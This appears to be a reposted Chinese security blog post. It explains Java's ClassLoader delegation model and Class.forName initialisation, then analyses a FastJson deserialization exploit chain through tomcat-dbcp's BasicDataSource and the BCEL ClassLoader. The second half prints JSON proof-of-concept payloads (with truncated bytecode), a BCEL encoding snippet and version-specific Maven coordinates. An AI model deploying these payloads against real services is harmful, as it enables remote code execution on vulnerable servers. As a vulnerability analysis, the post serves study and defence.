溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何解析Java動(dòng)態(tài)類加載的機(jī)制

發(fā)布時(shí)間:2021-12-14 09:32:02 來(lái)源:億速云 閱讀:149 作者:柒染 欄目:網(wǎng)絡(luò)安全

這篇文章將為大家詳細(xì)講解有關(guān)如何解析Java動(dòng)態(tài)類加載的機(jī)制,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

今天我們講一下Java的動(dòng)態(tài)類加載的機(jī)制。

1  Java類加載器:ClassLoader

我們通常會(huì)把編程語(yǔ)言的處理器分為解釋器編譯器。解釋器是一種用于執(zhí)行程序的軟件,它會(huì)根據(jù)程序代碼中的算法執(zhí)行運(yùn)算,如果這個(gè)執(zhí)行軟件是根據(jù)虛擬的或者類似機(jī)器語(yǔ)言的程序設(shè)計(jì)語(yǔ)言寫(xiě)成,那也稱為虛擬機(jī)。編譯器則是將某種語(yǔ)言代碼轉(zhuǎn)換為另外一種語(yǔ)言的程序,通常會(huì)轉(zhuǎn)換為機(jī)器語(yǔ)言。

有些編程語(yǔ)言會(huì)混用解釋器和編譯器,比如Java會(huì)先通過(guò)編譯器將源代碼轉(zhuǎn)換為Java二進(jìn)制代碼(字節(jié)碼),并將這種虛擬的機(jī)器語(yǔ)言保存在文件中(通常是.class文件),之后通過(guò)Java虛擬機(jī)(JVM)的解釋器來(lái)執(zhí)行這段代碼。

Java是面向?qū)ο蟮恼Z(yǔ)言,字節(jié)碼中包含了很多Class信息。在 JVM 解釋執(zhí)行的過(guò)程中,ClassLoader就是用來(lái)加載Java類的,它會(huì)將Java字節(jié)碼中的Class加載到內(nèi)存中。而每個(gè) Class 對(duì)象的內(nèi)部都有一個(gè) classLoader 屬性來(lái)標(biāo)識(shí)自己是由哪個(gè) ClassLoader 加載的。

class Class<T> {

    ...
    private Class(ClassLoader loader) {
    // Initialize final field for classLoader.  The initialization value of non-null
      // prevents future JIT optimizations from assuming this final field is null.
      classLoader = loader;
    }
    ...
    private final ClassLoader classLoader;

    ...

}

ClassLoader類位于java.lang.ClassLoader,官方描述是這樣的:

/**
 * A class loader is an object that is responsible for loading classes. The
 * class <tt>ClassLoader</tt> is an abstract class.  Given the <a
 * href="#name">binary name</a> of a class, a class loader should attempt to
 * locate or generate data that constitutes a definition for the class.  A
 * typical strategy is to transform the name into a file name and then read a
 * "class file" of that name from a file system.
 *
 * ...
 *
 * <p> The <tt>ClassLoader</tt> class uses a delegation model to search for
 * classes and resources.  Each instance of <tt>ClassLoader</tt> has an
 * associated parent class loader.  When requested to find a class or
 * resource, a <tt>ClassLoader</tt> instance will delegate the search for the
 * class or resource to its parent class loader before attempting to find the
 * class or resource itself.  The virtual machine's built-in class loader,
 * called the "bootstrap class loader", does not itself have a parent but may
 * serve as the parent of a <tt>ClassLoader</tt> instance.
 *
 * ...
 **/
public abstract class ClassLoader {
    ...
}

2  常見(jiàn)的ClassLoader

JDK內(nèi)置常見(jiàn)的ClassLoader主要有這幾個(gè):BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLClassLoader、ContextClassLoader。

ClassLoader采用了委派模式(Parents Delegation Model)來(lái)搜索類和資源。每一個(gè)ClassLoader類的實(shí)例都有一個(gè)父級(jí)ClassLoader,當(dāng)需要加載類時(shí),ClassLoader實(shí)例會(huì)委派父級(jí)ClassLoader先進(jìn)行加載,如果無(wú)法加載再自行加載。JVM 內(nèi)置的 BootstrapClassLoader 自身沒(méi)有父級(jí)ClassLoader,而它可以作為其他ClassLoader實(shí)例的父級(jí)。

  • BootstrapClassLoader,啟動(dòng)類加載器/根加載器,負(fù)責(zé)加載 JVM 運(yùn)行時(shí)核心類,這些類位于 JAVA_HOME/lib/rt.jar 文件中,我們常用內(nèi)置庫(kù) java.*.* 都在里面。這個(gè) ClassLoader 比較特殊,它其實(shí)不是一個(gè)ClassLoader實(shí)例對(duì)象,而是由C代碼實(shí)現(xiàn)。用戶在實(shí)現(xiàn)自定義類加載器時(shí),如果需要把加載請(qǐng)求委派給啟動(dòng)類加載器,那可以直接傳入null作為 BootstrapClassLoader。

  • ExtClassLoader,擴(kuò)展類加載器,負(fù)責(zé)加載 JVM 擴(kuò)展類,擴(kuò)展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,庫(kù)名通常以 javax 開(kāi)頭。

  • AppClassLoader,應(yīng)用類加載器/系統(tǒng)類加載器,直接提供給用戶使用的ClassLoader,它會(huì)加載 ClASSPATH 環(huán)境變量或者 java.class.path 屬性里定義的路徑中的 jar 包和目錄,負(fù)責(zé)加載包括開(kāi)發(fā)者代碼中、第三方庫(kù)中的類。

  • URLClassLoader,ClassLoader抽象類的一種實(shí)現(xiàn),它可以根據(jù)URL搜索類或資源,并進(jìn)行遠(yuǎn)程加載。BootstrapClassLoader、ExtClassLoader、AppClassLoader等都是 URLClassLoader 的子類。

AppClassLoader 可以由 ClassLoader 類提供的靜態(tài)方法 getSystemClassLoader() 得到,開(kāi)發(fā)者編寫(xiě)代碼中的類就是通過(guò)AppClassLoader進(jìn)行加載的,包括 main() 方法中的第一個(gè)用戶類。

我們可以運(yùn)行如下代碼查看ClassLoader的委派關(guān)系:

ClassLoader.getParent() 可以獲取用于委派的父級(jí)class loader,通常會(huì)返回null來(lái)表示bootstrap class loader。

public class JavaClassLoader {

    public static void main(String[] args) {
        ClassLoader appClassloader = ClassLoader.getSystemClassLoader();
        ClassLoader extensionClassloader = appClassloader.getParent();
        System.out.println("AppClassLoader is " + appClassloader);
        System.out.println("The parent of AppClassLoader is " + extensionClassloader);
        System.out.println("The parent of ExtensionClassLoader is " + extensionClassloader.getParent());
    }
}

執(zhí)行結(jié)果:

AppClassLoader is sun.misc.Launcher$AppClassLoader@18b4aac2
The parent of AppClassLoader is sun.misc.Launcher$ExtClassLoader@5e2de80c
The parent of ExtensionClassLoader is null

而 ExtensionClassLoader 和 AppClassLoader 都是 URLClassLoader 的子類,它們都是從本地文件系統(tǒng)里加載類庫(kù)。URLClassLoader 不但可以加載遠(yuǎn)程類庫(kù),還可以加載本地路徑的類庫(kù),取決于構(gòu)造器中不同的地址形式。

ExtClassLoader 和 AppClassLoader 類的實(shí)現(xiàn)代碼位于rt.jar 中的 sun.misc.Launcher 類中,Launcher是由BootstrapClassLoader加載的。ExtClassLoader 和 AppClassLoader 定義如下:

static class ExtClassLoader extends URLClassLoader {
    private static volatile Launcher.ExtClassLoader instance;

    public static Launcher.ExtClassLoader getExtClassLoader() throws IOException {
    if (instance == null) {
        Class var0 = Launcher.ExtClassLoader.class;
        synchronized(Launcher.ExtClassLoader.class) {
            if (instance == null) {
                instance = createExtClassLoader();
            }
        }
    }

    return instance;
}

...

static class AppClassLoader extends URLClassLoader {
    final URLClassPath ucp = SharedSecrets.getJavaNetAccess().getURLClassPath(this);

    public static ClassLoader getAppClassLoader(final ClassLoader var0) throws IOException {
    final String var1 = System.getProperty("java.class.path");
    final File[] var2 = var1 == null ? new File[0] : Launcher.getClassPath(var1);
    return (ClassLoader)AccessController.doPrivileged(
        new PrivilegedAction<Launcher.AppClassLoader>() {
        public Launcher.AppClassLoader run() {
            URL[] var1x = var1 == null ? new URL[0] : Launcher.pathToURLs(var2);
            return new Launcher.AppClassLoader(var1x, var0);
        }
    });
}

3  ClassLoader的幾個(gè)重要方法

ClassLoader 中有幾個(gè)重要的方法:loadClass()、findClass()、defineClass()。ClassLoader 嘗試定位或者產(chǎn)生一個(gè)Class的數(shù)據(jù),通常是把二進(jìn)制名字轉(zhuǎn)換成文件名然后到文件系統(tǒng)中找到該文件。

  • loadClass(String classname),參數(shù)為需要加載的全限定類名,該方法會(huì)先查看目標(biāo)類是否已經(jīng)被加載,查看父級(jí)加載器并遞歸調(diào)用loadClass(),如果都沒(méi)找到則調(diào)用findClass()。

  • findClass(),搜索類的位置,一般會(huì)根據(jù)名稱或位置加載.class字節(jié)碼文件,獲取字節(jié)碼數(shù)組,然后調(diào)用defineClass()。

  • defineClass(),將字節(jié)碼轉(zhuǎn)換為 JVM 的 java.lang.Class 對(duì)象。

// 歡迎訂閱我的微信公眾號(hào):安全引擎

4  Class.forName()

Class.forName() 也可以用來(lái)動(dòng)態(tài)加載指定的類,它會(huì)返回一個(gè)指定類/接口的 Class 對(duì)象,如果沒(méi)有指定ClassLoader, 那么它會(huì)使用BootstrapClassLoader來(lái)進(jìn)行類的加載。該方法定義如下:

public static Class<?> forName(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException

public static Class<?> forName(String className) throws ClassNotFoundException

Class.forName() 和 ClassLoader.loadClass() 這兩個(gè)方法都可以用來(lái)加載目標(biāo)類,但是都不支持加載原生類型,比如:int。Class.forName() 可以加載數(shù)組,而 ClassLoader.loadClass() 不能。

// 動(dòng)態(tài)加載 int 數(shù)組

Class ia = Class.forName("[I");
System.out.println(ia);

// 會(huì)輸出:
// class [I

Class ia2 =  ClassLoader.getSystemClassLoader().loadClass("[I"); 

// 數(shù)組類型不能使用ClassLoader.loadClass方法,會(huì)報(bào)錯(cuò):
// Exception in thread "main" java.lang.ClassNotFoundException: [I

Class.forName()方法實(shí)際上也是調(diào)用的 CLassLoader 來(lái)實(shí)現(xiàn)的,調(diào)用時(shí)也可以在參數(shù)中明確指定ClassLoader。與ClassLoader.loadClass() 一個(gè)小小的區(qū)別是,forName() 默認(rèn)會(huì)對(duì)類進(jìn)行初始化,會(huì)執(zhí)行類中的 static 代碼塊。而ClassLoader.loadClass() 默認(rèn)并不會(huì)對(duì)類進(jìn)行初始化,只是把類加載到了 JVM 虛擬機(jī)中。

我們執(zhí)行如下測(cè)試代碼:

class Test{

    static{
        System.out.println("// This is static code executed");
    }
}

public class JavaClassLoader {

    public static void main(String[] args) throws ClassNotFoundException {
        ClassLoader appClassloader = ClassLoader.getSystemClassLoader();      
        System.out.println("Execute Class.forName:");
        Class cl = Class.forName("Test");
        System.out.println(cl);
        System.out.println("Execute ClassLoader:");
        Class cl2 = appClassloader.loadClass("Test");
        System.out.println(cl2);

    }
}

執(zhí)行結(jié)果如下,可以看到Class.forName()時(shí),static代碼塊被執(zhí)行了:

Execute Class.forName:
// This is static code executed
class Test
Execute ClassLoader:
class Test

// 歡迎訂閱我的微信公眾號(hào):安全引擎

5  FastJson內(nèi)網(wǎng)利用

還記得FastJson TemplatesImpl利用鏈嗎 ?

TemplatesImpl.getOutputProperties()
   > TemplatesImpl.newTransformer()
       > TemplatesImpl.getTransletInstance()
           > TemplatesImpl.defineTransletClasses()

private void defineTransletClasses()
throws TransformerConfigurationException {

    ...
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    ...
}

這個(gè)PoC原理上也是利用了 ClassLoader 動(dòng)態(tài)加載惡意代碼,在Payload中直接傳入字節(jié)碼。TransletClassLoader.defineClass() 將 Bytecode 字節(jié)碼轉(zhuǎn)為Class對(duì)象。但是這種限制比較多,要求開(kāi)發(fā)者在調(diào)用parseObject()時(shí)額外設(shè)置 Feature.SupportNonPublicField,這是不太常見(jiàn)的使用場(chǎng)景。

其實(shí)在2017年FastJson漏洞剛公布出來(lái)的時(shí)候,我們就很快捕獲到了一個(gè)比較通用的Exploit,它利用了org.apache.tomcat.dbcp.dbcp.BasicDataSource類。這個(gè)Payload不需要反連,不要求特定的代碼寫(xiě)法,直接傳入惡意代碼bytecode完成利用,而且依賴包 tomcat-dbcp 使用也比較廣泛,是Tomcat的數(shù)據(jù)庫(kù)驅(qū)動(dòng)組件。但是網(wǎng)上對(duì)這個(gè)PoC的分析文章并不是很多,印象中只有g(shù)enxor在<DefineClass在Java反序列化當(dāng)中的利用>一文中有較為完整的分析。PoC如下:

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

這里反序列化生成了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 對(duì)象,并完成了命令執(zhí)行。直接看利用鏈:

BasicDataSource.getConnection()
   > createDataSource()
       > createConnectionFactory()

protected ConnectionFactory createConnectionFactory() throws SQLException {

    ...

    if (driverClassLoader == null) {
            driverFromCCL = Class.forName(driverClassName);
    } else {
            driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
    }
    ...

經(jīng)過(guò)一連串的調(diào)用鏈,在 BasicDataSource.createConnectionFactory() 中會(huì)調(diào)用 Class.forName(),還可以自定義ClassLoader。如上一節(jié)所說(shuō) Class.forName() 在動(dòng)態(tài)加載類時(shí),默認(rèn)會(huì)進(jìn)行初始化,所以這里在動(dòng)態(tài)加載的過(guò)程中會(huì)執(zhí)行 static 代碼段。

那么在可控 classname 和 classloader 的情況下,如何實(shí)現(xiàn)命令執(zhí)行呢?

接下來(lái)不得不提這個(gè)PoC中的 com.sun.org.apache.bcel.internal.util.ClassLoader 了,這是一個(gè)神奇的 ClassLoader,因?yàn)樗鼤?huì)直接從 classname 中提取 Class 的 bytecode 數(shù)據(jù)。

protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException
{
    ...

    if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
    else { 
      ...
    }

    if(clazz != null) {
      byte[] bytes  = clazz.getBytes();
      cl = defineClass(class_name, bytes, 0, bytes.length);
    } else
      cl = Class.forName(class_name);

        ....

    return cl;
}

/*
* The name contains the special token $$BCEL$$. Everything before that
* token is consddered to be a package name. You can encode you own
* arguments into the subsequent string. 
* The default implementation interprets the string as a encoded compressed
* Java class, unpacks and decodes it with the Utility.decode() method, and
* parses the resulting byte array and returns the resulting JavaClass object.
*
* @param class_name compressed byte code with "$$BCEL$$" in it
*/
protected JavaClass createClass(String class_name) {
    ...
}

如果 classname 中包含 $$BCEL$$ ,這個(gè) ClassLoader 則會(huì)將$$BCEL$$后面的字符串按照BCEL編碼進(jìn)行解碼,作為Class的字節(jié)碼,并調(diào)用 defineClass() 獲取 Class 對(duì)象。

于是我們通過(guò)FastJson反序列化,反序列化生成一個(gè) BasicDataSource 對(duì)象,并將它的成員變量 classloader 賦值為 com.sun.org.apache.bcel.internal.util.ClassLoader 對(duì)象,將 classname 賦值為 經(jīng)過(guò)BCEL編碼的字節(jié)碼(假設(shè)對(duì)應(yīng)的類為Evil.class),我們將需要執(zhí)行的代碼寫(xiě)在 Evil.class 的 static 代碼塊中即可。

BCEL編碼和解碼的方法:

import com.sun.org.apache.bcel.internal.classfile.Utility;

...

String s =  Utility.encode(data,true);

byte[] bytes  = Utility.decode(s, true);

...

0x05.1  你知道嗎

再回顧一下PoC

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

這里PoC結(jié)構(gòu)上還有一個(gè)值得注意的地方在于,

  1. 先是將 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 這一整段放到JSON Value的位置上,之后在外面又套了一層 "{}"。

  2. 之后又將 Payload 整個(gè)放到了JSON 字符串中 Key 的位置上。

為什么這么設(shè)計(jì)呢?

因?yàn)闉榱送瓿汕懊嬲f(shuō)的一整個(gè)利用鏈,我們需要觸發(fā) BasicDataSource.getConnection() 方法。

我在 FastJson反序列化漏洞利用的三個(gè)細(xì)節(jié) 提到過(guò),F(xiàn)astJson中的 JSON.parse() 會(huì)識(shí)別并調(diào)用目標(biāo)類的 setter 方法以及某些滿足特定條件的 getter 方法,然而 getConnection() 并不符合特定條件,所以正常來(lái)說(shuō)在 FastJson 反序列化的過(guò)程中并不會(huì)被調(diào)用。

// 歡迎訂閱我的微信公眾號(hào):安全引擎

原PoC中很巧妙的利用了 JSONObject對(duì)象的 toString() 方法實(shí)現(xiàn)了突破。JSONObject是Map的子類,在執(zhí)行toString() 時(shí)會(huì)將當(dāng)前類轉(zhuǎn)為字符串形式,會(huì)提取類中所有的Field,自然會(huì)執(zhí)行相應(yīng)的 getter 、is等方法。

首先,在 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 這一整段外面再套一層{},反序列化生成一個(gè) JSONObject 對(duì)象。

然后,將這個(gè) JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的時(shí)候,F(xiàn)astJson 會(huì)對(duì) JSON Key 自動(dòng)調(diào)用 toString() 方法:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436

if (object.getClass() == JSONObject.class) {
    key = (key == null) ? "null" : key.toString();
}

于是乎就觸發(fā)了 BasicDataSource.getConnection()。PoC最完整的寫(xiě)法應(yīng)該是:

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

當(dāng)然,如果目標(biāo)環(huán)境的開(kāi)發(fā)者代碼中是調(diào)用的是  JSON.parseObject() ,那就不用這么麻煩了。與 parse() 相比,parseObject() 會(huì)額外的將 Java 對(duì)象轉(zhuǎn)為 JSONObject 對(duì)象,即調(diào)用 JSON.toJSON(),在處理過(guò)程中會(huì)調(diào)用所有的 setter 和 getter 方法。

所以對(duì)于 JSON.parseObject(),直接傳入這樣的Payload也能觸發(fā):

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b......"
}

0x05.2  Tips

BasicDataSource類在舊版本的 tomcat-dbcp 包中,對(duì)應(yīng)的路徑是 org.apache.tomcat.dbcp.dbcp.BasicDataSource。

比如:6.0.53、7.0.81等版本。MVN 依賴寫(xiě)法如下:

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>dbcp</artifactId>
    <version>6.0.53</version>
</dependency>

在Tomcat 8.0之后包路徑有所變化,更改為了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,構(gòu)造PoC的時(shí)候需要注意一下。MVN依賴寫(xiě)法如下:

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

關(guān)于如何解析Java動(dòng)態(tài)類加載的機(jī)制就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI